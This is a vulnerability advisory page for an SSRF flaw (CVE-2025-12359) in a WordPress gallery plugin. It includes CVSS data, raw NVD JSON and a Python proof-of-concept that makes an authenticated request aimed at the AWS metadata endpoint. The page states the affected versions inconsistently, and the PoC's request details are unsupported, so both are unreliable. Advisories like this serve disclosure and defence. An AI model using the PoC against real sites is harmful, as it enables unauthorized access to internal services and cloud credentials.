Security Vulnerability Report
中文
CVE-2025-12359 CVSS 5.4 MEDIUM

CVE-2025-12359

Published: 2025-11-19 06:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Responsive Lightbox & Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.5.3 via the 'get_image_size_by_url' function. This is due to insufficient validation of user-supplied URLs when determining image dimensions for gallery items. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Responsive Lightbox & Gallery插件 < 2.5.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12359 SSRF PoC for Responsive Lightbox & Gallery < 2.5.3 # Requires Author-level WordPress account import requests import sys from urllib.parse import quote target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" wp_user = "author_username" wp_pass = "author_password" # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": wp_user, "pwd": wp_pass, "wp-submit": "Log In", "redirect_to": f"{target_url}/wp-admin/" } session.post(login_url, data=login_data) # Exploit SSRF via get_image_size_by_url function # Target internal service or external endpoint ssrf_payload = "http://169.254.169.254/latest/meta-data/" # AWS metadata endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Trigger via gallery image size check params = { "action": "rl_get_image_size", "image_url": ssrf_payload, "gallery_id": 1 } response = session.get(endpoint, params=params) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text[:500]}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12359", "sourceIdentifier": "[email protected]", "published": "2025-11-19T06:15:45.890", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Responsive Lightbox & Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.5.3 via the 'get_image_size_by_url' function. This is due to insufficient validation of user-supplied URLs when determining image dimensions for gallery items. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/class-fast-image.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/class-frontend.php#L1531", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/class-galleries.php#L3648", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/functions.php#L108", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3397940%40responsive-lightbox%2Ftrunk&old=3358021%40responsive-lightbox%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2025-12359", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7f4c0bd6-f289-4a52-ac11-345076c32d84?source=cve", "source": "[email protected]"}]}}